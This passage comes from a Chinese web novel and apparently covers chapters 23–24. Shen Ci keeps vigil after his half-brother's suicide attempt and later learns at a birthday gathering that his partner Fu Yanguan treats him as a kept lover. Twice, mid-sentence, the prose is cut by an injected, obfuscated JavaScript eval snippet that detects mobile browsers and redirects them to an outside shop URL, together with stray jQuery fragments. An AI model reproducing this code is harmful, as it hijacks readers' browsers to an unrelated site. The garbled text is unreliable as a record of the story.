站在一旁的沈辞微怔,盯着痛哭的沈长余心里拧巴着难受。而就在他走神的功夫,肩膀上突然搭上一只手,将他搂进怀里。 傅砚观抱着沈辞的手很用力,他道:“小辞,你已经有家了。” 藏着眼眶里的眼泪到底是掉了下来,但不是因为沈长余,而是因为傅砚观。 是啊,他已经有家了。 病危通知书最后是沈辞签的,人永远无法和一个说不通的人讲道理,沈长余只知道这个东西是危险的,他不能签。 而沈辞则是明白他们在这闹的每一分每一秒都在耽误里面的治疗。 医生象征性询问:“请问您与患者的关系是?” 沈辞拿着笔的手微顿,随后签下沈辞两个字,道:“我是他哥。” “好的。” 医生拿着病危通知书回了抢救室,而沈长余在看见沈辞签了后自然不会善罢甘休,他冲上来想要质问,却还没等碰到沈辞,就被傅砚观拦住了。 他扫了沈长余一眼,淡声道:“往后退。” 沈长余没动。 傅砚观再次开口:“我再说一遍,往后退。” 23.为什么只忘了他 沈长余被傅砚观吓住,到也真的没再上前,牵着梁兰的手去了一边。 沈辞轻轻拉了下傅砚观。男人的手崩的很紧,胸口起伏很快,显然是被沈长余气的不轻。 沈辞轻声道:“别管他。” 沈长余是个什么样的人,他小时候就知道了,跟他置气实在没必要。 抢救室的灯一直亮到了半夜,期间又下了三次病危通知书,都是沈辞签的字。 而每一次签字沈辞都更加看不起沈长余,如果说他疼爱沈唯一,可又在大事上撑不取来,如果说他不在乎沈唯一,却又在各方面视若珍宝。 “小辞。”傅砚观递过来杯奶茶,轻声宽慰道,“喝点东西暖暖胃。” 此时已经是凌晨,沈辞坐在椅子上昏昏欲睡,连傅砚观什么时候出去的都不知道。温热的奶茶握在手里,沈辞打了个哈欠,和傅砚观谈论起沈唯一。 “我好像就只有小时候见过他一面,那时候沈长余跟他说不用叫我哥哥。他给沈唯一买了冰淇淋,还有很多好吃的,又带他去游乐园,而我...就像是一个偷窥者,一直跟在后面。” “我因为没有买票进不去游乐园,就只能蹲在外面等,一直等到天黑。后来我甚至忘记那天是去干什么了,好像是要学费吧。” 沈辞歪靠在墙上,喝着傅砚观买给他的奶茶。以前这件事或多或少对沈辞都有几分影响,不然也不会一直记到现在了。可现在和傅砚观说起,心中竟然掀不起一丝波澜。 许是困的有些迷糊,沈辞也不知道自己在说些什么,恍惚间似乎想起了什么,开口问道:“傅砚观,你说我为什么只忘掉了咱们之间的事?” “按理说我更想忘掉的应该是那些不愉快的事啊,小时候的事,在学校的事,有这么多可以忘,可为什么会忘掉你呢?” 沈辞是真的觉得疑惑,但因为困倦并没有注意到傅砚观脸上的不自然。 是啊,有那么多能忘的,可却偏偏把他忘了。傅砚观侧头看着沈辞,一时不知该说些什么,良久才道:“小辞,我...以前确实是把时间都用在了工作上,可能忽略你了,如果你觉得我哪里做的不好,你跟我说,我会改。” 沈辞咽下嘴里嚼着的珍珠,困的眼角有几分湿意:“认真工作是好事,钱给我就行。” 对于傅砚观说的话,沈辞并没有放在心上。他确实忘了他跟傅砚观所有的事,这种选择性遗忘连他自己都觉得奇怪。 傅砚观还想再说些什么,可话到嘴边又觉得说什么都太苍白了,他和沈辞的以前太不光彩了。 甚至是有一天沈辞想起来,他们的这段感情都不知道该怎么收场。 抢救室的灯灭了,经过长达七个小时的抢救,终于把沈唯一的命抢了回来。医生后面的那些嘱咐沈辞都没打算听,毕竟后续的照顾还是沈长余二人。 他能陪到现在已经很不错了。 “咱们走吧,医院的味道太难闻了。” “好。”傅砚观应下,牵着沈辞的手,二人刚准备离开,就被一个医生拦下了。 沈辞望去,见是那个之前让他签病危通知书的医生。 “你是病人的哥哥是吗?病人想见你,换下衣服跟我过来吧。” 沈辞微愣:“见我?” 他和沈唯一什么时候关系这么好了,一般这种时候难到第一时间不是见父母吗? 虽然很不解,但沈辞还是跟着去了,闹了这么一遭,他也挺想知道沈唯一想跟他说什么。 由于沈唯一目前还没转到普通病房,所以探视的时间只有十分钟。沈辞换好衣服跟着医生进去。 沈唯一身上插着很多管子,鼻子上带着氧气,胸口起伏缓慢,如果不细看甚至看不到这人在呼吸。 沈辞瞥了眼沈唯一手腕,那条被割开的口子应该已经缝了针,此时裹着厚厚的纱布,上面有星星点点的血迹。 此时的沈唯一像是一朵枯萎的玫瑰,毫无生机。 沈辞走到床边,先一步开口:“刚醒怎么不好好休息?” 沈唯一费了很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13902955|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力气看向沈辞,指尖动了动。 “我以为...我现在...已经...解脱...了...” 沈辞微微皱眉,道:“这么久都坚持过来了,何必前功尽弃呢,我已经让医生留意合适的肾源了,钱方面你也不用担心。” 沈辞以为沈唯一是因为病情选择了自杀,可在对上沈唯一那双眼睛时,却发现好像并不是这么回事。 他看到那人缓缓开口,声音沙哑且毫无活过来后的喜悦。 “我...并非...因为病....” 沈唯一看着沈辞,大颗的眼泪从眼角落下:“哥...你知道被...人掌控的生活...是什么样吗?” “从我有意识开始,我从没觉得自己是个人...我的每一步都是别人安排好的,我的所有喜好都是别人告诉我应该喜欢这个....” “我...我太想逃离他们了...我甚至...甚至想杀了他们....哥哥,我真的没有想过要你的肾,因为....我本就没有想要活下去。” “我去见你....也只是知道我还有个哥哥,我...想看看正常人是什么样子的...我想...哥哥应该不会逼我做我不想做的事情。” “对不起...不应该把你卷进来。但是...现在还有一件事需要麻烦你了...” 沈辞开口道:“你说。” 他以为沈唯一有什么想做的事,或者有什么要求,却没想到是这样的要求。 他说:“哥,别再帮我找肾源了,我不想要。” 从病房出来时,沈长余立刻就冲了过来,虽依然被傅砚观拦下,却还是道:“我儿子怎么样?他都说什么了,你有没有欺负他?” 沈辞面无表情的看向沈长余,开口道:“他说,让你离他远一点。” 是啊,这样的人怎么可能养好孩子呢,沈辞已经是先例,又怎知沈唯一没有步他的后尘。 “傅砚观,我们走吧。” 折腾了一晚上,他实在是太累了。 24.生日当天知道真相 从医院离开时,沈辞情绪有些低落,倒也没再提冷战的事情。 凌晨的街道上没有多少车,沈辞倚靠在窗边,脑子十分混乱,一会儿是沈长余说的那些话,一会儿又是沈唯一那张苍白的脸。 车里有不少沈唯一流下的血,经过长时间的闷着,血腥味有些刺鼻。沈辞降下车窗,让冷空气灌进来。 车子朝别墅区驶去,但最后却并没有回家,而是拐到了一家粥店前。 沈辞还在愣神的功夫,傅砚观就已经下车了,并拉开了副驾驶车门。 “折腾到现在肯定还没吃饭,这家味道不错,吃饱了再回家。” 沈辞侧头瞥了眼店名,“听茗轩”祈江市很有名的一家早茶店,沈辞之前到是想过来吃很久了,只是傅砚观一直不得空,他也不想自己一个人来。 只是...大半夜的过来吃饭真的不怪吗? 沈辞跟着傅砚观走进去,门口的服务员热情的拉开门。刚一进去就迎面扑来一股热气。 “二位先生有预约吗?” 沈辞刚想开口说没有,一旁的傅砚观先一步道:“有,姓傅。” 服务员点头应下:“傅先生您好,房间已经给您留好了,您这边请。” 傅砚观牵着沈辞的手跟在服务员身后,在进到房间后,沈辞问道:“你什么时候预约的?” 傅砚观替沈辞拉开凳子:“在医院的时候,知道你可能没心情吃,但还是怕你饿着。” 沈辞笑着挑眉:“这么贴心?” 经过沈唯一的事这么一闹,沈辞也确实是没心思再继续冷战了,再加上傅砚观生日临近,有什么事肯定也要之后再说。 一顿饭吃完天也快亮了,沈辞伸了个懒腰,吃饱后心情也跟着好了不少。和傅砚观回家时还主动把人抓过来亲了两口。 在沈长余小区时他就忍不住想亲来着,但那时碍于还在冷战,也就一直压着。 傅砚观今天有个会,到家后还没来得及睡就要走了,可温香软玉在怀,即便是看工作比什么都重的傅砚观也不舍得起来了。 他亲了亲沈辞发顶,看着压在他身上的人,忍不住打趣道:“拱来拱去的,你是小猪吗?” 沈辞睡眼蓬松,抬起头反驳道:“你才是猪。” 又埋在傅砚观颈窝处闭了会儿眼睛,沈辞闷声道:“今天早点回来,这几天我一个人都没睡好。” 沈辞许是太困了,说话的声音软乎乎的,傅砚观把人搓圆捏扁,又吃了几次豆腐才起身:“七点前肯定回来,我可不想再被赶出去了。” 沈辞哼了声,没再搭理傅砚观。 - 一月十号,沈辞起了个大早,一边给已经去公司的傅砚观发去生日祝福,一边在厨房里忙活。 挑了很久的生日礼物都没有心仪的,最后还是买了一件西装,而礼物太普通,那就在仪式感上找补。他准备亲自给傅砚观做生日蛋糕。 诚意buff直接叠满。 今日的天有些阴,好像又有一场雪要下,但依旧挡不住沈辞的好心情。除了生日蛋糕,他还准备了一桌子菜,忙活了整整一天也没觉得累。 晚上五点,手机频繁震动,收到了傅砚观发来的消息。 傅砚观:今晚有个聚会,我需要去一下。 沈辞拧眉,有些难过。 傅砚观:是合作方组的局,实在推不了,但我尽量在九点前回来,跟你一起过生日。 沈辞少许阴转晴。 沈辞:那你少喝酒,我不想跟一个醉鬼一起过生日。 傅砚观秒回:好,回去时给你带好吃的。 沈辞对于吃的一向没有抵抗力,但今日他的重点并不在这,在一些事情上他还是能分得清主次的,今天最最最重要的事就是陪傅砚观过好生日。 原本以为傅砚观七点前就能回来,所以沈辞做菜也是按照这个时间做的,但突然横生枝节,就只能先把菜放到保温箱里,到时候要是凉了就再热一热了。 对于傅砚观今天有聚会他其实是不满的,但又没办法,毕竟傅砚观的生日在百度百科上写的清清楚楚,就连赵阳都来问他今天是不是傅砚观生日。 那合作方想要庆生,也确实没办法推掉。 沈辞虽然脾气不好,但在今天还是一切以傅砚观为主,他守着一桌菜一直等到晚上七点,而等着等着就觉得这画面有些熟悉。 他好像之前就这样等过... “唔...”沈辞用力按了按太阳穴,甩掉脑子里那些乱七八糟的东西。 他和傅砚观在一起六年,之前即便是那人再忙也不可能不陪他过生日。他一定是记忆又混乱了。 又等到八点,沈辞反复点开傅砚观微信,不停的刷着消息,最后干脆找出秦溯微信,询问傅砚观在哪应酬。 反正距离九点也没有多久了,他去接他就好了。还能早点跟他说一声生日快乐。 打定主意后沈辞直接消息轰炸,下一秒语音就打了过来。 “大哥,我在加班,这个时间您不去找傅砚观找我干什么?” 秦溯语气中透露着一丝疲惫,很显然已经连加了很久的班了。 沈辞有些不好意思,但又有些诧异:“傅砚观不是说有聚会吗?合作方要给他庆生,怎么你没去?” 对面的秦溯摘下VR眼镜,困的打了个哈欠:“那种聚会有几个是真心庆生的,傅砚观也就是去走个过场。” “让我猜猜,你这个点给我打电话肯定是傅砚观还没回去吧,想问我他在哪聚会?” 沈辞默默给秦溯比了个大拇指,直言道:“我想去接他。” 秦溯道:“一般都是在市中心的‘夜情’你到那直接跟里面的人说是宴和游戏传媒的,他们就知道把你往哪领了。” “好的,感谢。”沈辞道了谢后立刻就准备挂电话,而秦溯想了想还是嘱咐了几句。 “那地方比较乱,玩儿什么的都有,你只需要进去找工作人员,其他人找你搭话你别理,给你东西也别吃,明白了吗?” 秦溯不是多管闲事的人,但自从上次傅砚观非常认真的给他开过会儿后,他就明白了,沈辞和其他人不一样。 再加上在小院相处的那几天,他对沈辞的印象已经改观了。 沈辞安静的听完,记在心里的同时还是忍不住回嘴道:“我又不是小孩子了。” 秦溯笑着打趣:“是啊,24岁的小朋友。” 秦溯和傅砚观同岁,如今也都31了,沈辞对于他来说,可不就是一个小孩儿。 但通常小孩儿最不喜欢别人叫的就是小孩儿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13913029|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈辞快速的挂了电话,把秦溯后面的打趣全部扼杀在摇篮里,随后直奔楼上衣帽间。 这次没有傅砚观在旁边管着,沈辞再次拿起一套炸眼的衣服,红色小夹克配着黑色紧身裤。 耳钉选了个又闪又亮的。 既然是和合作方见面,那肯定都是有头有脸的人物,他一定要惊艳全场,不能给傅砚观丢脸。 换好衣服后,沈辞便打车去了秦溯给他的地址,并在路上买了束鲜艳的红玫瑰。 过生日嘛,总要有数不尽的惊喜才行。 夜情在祈江市最繁华的地方,即便沈辞对酒吧不感冒也还是忍不住赞叹,他穿的格外引人注目,刚一进酒吧就被不少人搭讪。 但他明白,这种鱼龙混杂的地方他还应付不来,所以严格按照秦溯交代的直接找了工作人员。 能到这来的都是非富即贵的,尤其是在沈辞爆出宴和传媒后,工作人员对沈辞更加客气,恭敬的引着人往二楼的VIP包间走。 而越是接近目的地,沈辞脸上的笑意就越浓,心脏更是不安分的越跳越快。 他已经迫不及待的想见傅砚观了,想看他脸上的表情,想知道他第一句话会跟他说什么。 “先生,傅总就在这间包间,您有事叫我就行。” 服务员恭敬的离开,沈辞站在外面深吸了口气,认真整理着身上的衣服。 傅砚观一定会感动死的。 抱着花的手臂有些酸涩,沈辞一脸笑意的走上前,而就在准备推开门时,突然听到此起彼伏的笑声,和打趣的声音。 “傅总还是专一的,就连包养小情儿都始终是那一个,这么多年都没换,不腻吗?” “是啊,我听说那人好像记忆出现问题了,我有个朋友上次在老杨的酒吧看见了,据说玩儿的那叫一个浪,不知道的还以为是谁家的小少爷。” “好像最后还和别人打架进了警局!”说话的人好像已经有些醉了,口齿不清的道,“我说傅总,这小情人能宠着可不能惯啊,越惯越上天,最后他妈的给脸不要脸。” “这次的项目我很看好宴和,咱们一定能赚翻!今天是傅总生日,我也没有什么好送的,就送你两个我新得来的尤物吧,都已经调教好了。” 旁人跟着附和道:“嘶...张总这可是下了血本了,这要是谁送我这样的人我估计早就带回家爽去了。傅总,你可别一棵树上吊死啊,换一个吧,说不定比那个好用呢。” 这话说完又是一阵哄堂大笑,沈辞站在外面没了推门进去的喜悦,笑容也僵在脸上。周围的音乐声很大,但沈辞却清晰的听到那些人的声音。 而除了那些不堪入耳的话,他还听到了傅砚观的声音。 他不知道那人是什么表情,只听到他说:“不换了,养习惯了。” 傅砚观没有要那两个人,可沈辞却笑不出来,他突然觉得有些混乱,头疼的快要喘不上来气。 什么叫情人?什么叫包养? 他...他是被包养的吗?他根本不是傅砚观男朋友... 玫瑰花上的刺扎进肉里,沈辞疼出了一身汗,音乐声再不入耳,那一瞬间,就好像全世界都安静下来了。 所以,根本就没有什么相爱的六年,他只是一个被包养的玩意儿吗?